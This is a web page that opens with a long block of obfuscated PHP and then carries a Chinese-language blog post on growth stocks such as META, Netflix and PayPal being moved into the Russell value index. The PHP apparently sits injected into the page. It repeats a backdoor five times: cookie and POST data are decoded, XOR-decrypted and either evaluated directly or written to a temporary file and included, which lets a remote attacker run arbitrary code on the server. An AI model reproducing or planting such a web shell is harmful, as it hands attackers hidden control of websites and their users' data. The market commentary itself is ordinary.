$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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成长股都可以变价值股? - Sharix

成长股都可以变价值股?

在人类历史上对所有事物的创新都会先引发泡沫的破裂,往后的发展才日渐成熟。从荷兰的郁金香泡沫到互联网泡沫,再到至今的比特币崩跌,泡沫的案例比比皆是。而金融的创新,尤其是杠杆工具的产生通常都会扩大货币的供应,导致泡沫波灭的冲击更加严重。但有些泡沫的破裂可能是因为投机过度而产生,而有些泡沫则是因为创新的事物本来都存有内在的缺陷,就好比郁金香效应。

人类对于富贵的追求,羊群效应和理性的完全丧失,都会导致资产价格出现巨大的泡沫,而人类未能吸取历史教训更是让局面雪上加霜。疯狂的加杠杆导致后期泡沫破裂时强制的大量抛售,此时投资者才开始觉悟已经太迟。今天我并不是要和大家讨论过去泡沫的发展,我想要传达的讯息是任何急速飞涨的资产价格都不会长久。最近期的例子就是在两年前疫情大爆发时,许多科技创新的公司股价都一飞冲天。即使这些公司尚未实现盈利,但投资者对于这类型公司的憧憬和超乎常理的预期导致股价存在泡沫化的发展。当时美国股市,尤其是纳指的估值直逼网络泡沫甚至是更高的水平,巴菲特指标也也显示当时的美国股市存在极大的泡沫。

来到今年全球央行快速紧缩的态度和通胀的失控,投资者才如梦初醒,许多亏损公司的资产价格急速崩溃,那些曾经给投资者捧上天的新创科技公司也被市场打入冷宫,如今再也无法引起投资者和市场热烈的讨论。这就是市场的规律,虽然股市在企业盈利成长的背景下长期是向上发展,但中间也不时会出现价格上涨的速度比企业盈利成长的速度快,这时资产价格也会出现修正。当价格过度修正,这时资产价格也会因为受到市场的低估而开始回归均值 (mean reversion)。这就是市场牛熊交替的不二定律。

今年资产价格的大幅调整,也让罗素美国指数把家喻户晓的科技成长股纳入价值股的行列。富时罗素在考量公司的盈利增长预期、历史营收和其他重要因素之后,最终将META、NETFLIX和PAYPAL等三家科技公司调入罗素1000价值指数,同时在罗素1000成长指数的权重将被调低。另外,其他被纳入价值股行列的 “高成长股” 还有包括OKTA、PINTEREST、ZOOM以及MODERNA等。与此同时,GAMESTOP这家散户宠儿也加入价值股的行列,并从成长股当中剔除。 如果大家观察META、NETFLIX和PAYPAL会发现,这三家科技公司的股价在今年已经大幅下跌51.57%、70.14% 以及63.34%,而估值也几乎修复至少50% 的水平。虽然这些公司的盈利并没有下跌许多,但管理层所给出的盈利指引导致投资者对于公司的盈利成长预期大幅下滑,而预期的下修往往都会导致公司的估值跟着下跌。这也是我在之前的文章多次和大家提及,今年上半年股市的下跌主要是估值的调整,反映市场的风险偏好降低,以及投资者对企业的盈利表现从乐观转向悲观的态度。

我在上图画出标普成长和价值股指数的估值图表让大家参考。大家会发现从2000年网络泡沫之后,成长股的估值向来都高于价值股,除了在2008年次贷危机爆发的时期,价值股的估值略高于成长股。另外,大家会发现这两条线都经历从扩张到收缩,然后再扩张的循环。当成长股和价值股的估值差扩大时,表示成长股的估值开始上升,投资者对企业的盈利预期也转向乐观。然而,当成长股的盈利预期开始下跌,两者之间的估值差也会收敛。从上图大家会看到灰色面积指的就是成长股和价值股的估值差。虽然已经从顶峰回调不少,但目前成长股和价值股的远期本益比分别是20.8倍及14.7倍,中间相差6倍左右,略高于过去长期平均水平的4倍左右。

根据瑞信 (Credit Suisse) 的数据显示,标普500指数中最贵的100只股票的交易价格比市场其他股票高出25.8倍。而在市场回调之后,这些股票目前的交易价格仅高出15.1倍,与长期平均水平相同。因此,从各个指标来看成长股的估值已经大幅收敛,估值相对变得更加吸引。而也因为美股今年差劲的表现,AAII统计的散户投资人情绪指数看空比重在最新数据统计,看空比重高达59.3%,大幅高于6月初37.1% 的看空比重。散户向来都是股市的反指标,当散户极度看空,通常也是大盘开始触底反弹的时候。

我不排除目前的股市已经开始浮现投资机会,因为股价永远都是反映未来,而目前市场也已经开始为美联储在明年大幅降息的可能性作定价,这也是上个星期美股急速拉高的主要原因。但我觉得股市已经见到绝对低点的看法还为时太早,因为经济衰退还未发生,而且衰退的幅度也目前市场最大的不确定因素,而上个星期又有经济指标崩盘,那就是美国的制造业PMI指数。美国6月Markit制造业PMI的初值只有52.4,创下23个月的新低,并大幅低于预期的56。另外,美国6月制造业产出指数的初值由5月的55.2下降至49.6,这也是疫情爆发两年以来首次跌破荣枯分水岭50的水平。除了美国,大家会发现欧元区和中国的制造业也正在往50的荣枯线作发展,全球的制造活动基本上已经开始出现颓势的状态。

到底美国乃至于全球经济在后续会如何发展?通胀预期的下跌和美国的库存数据爆表又在暗示这什么的行情即将产生?我在下个星期会和大家继续更进。

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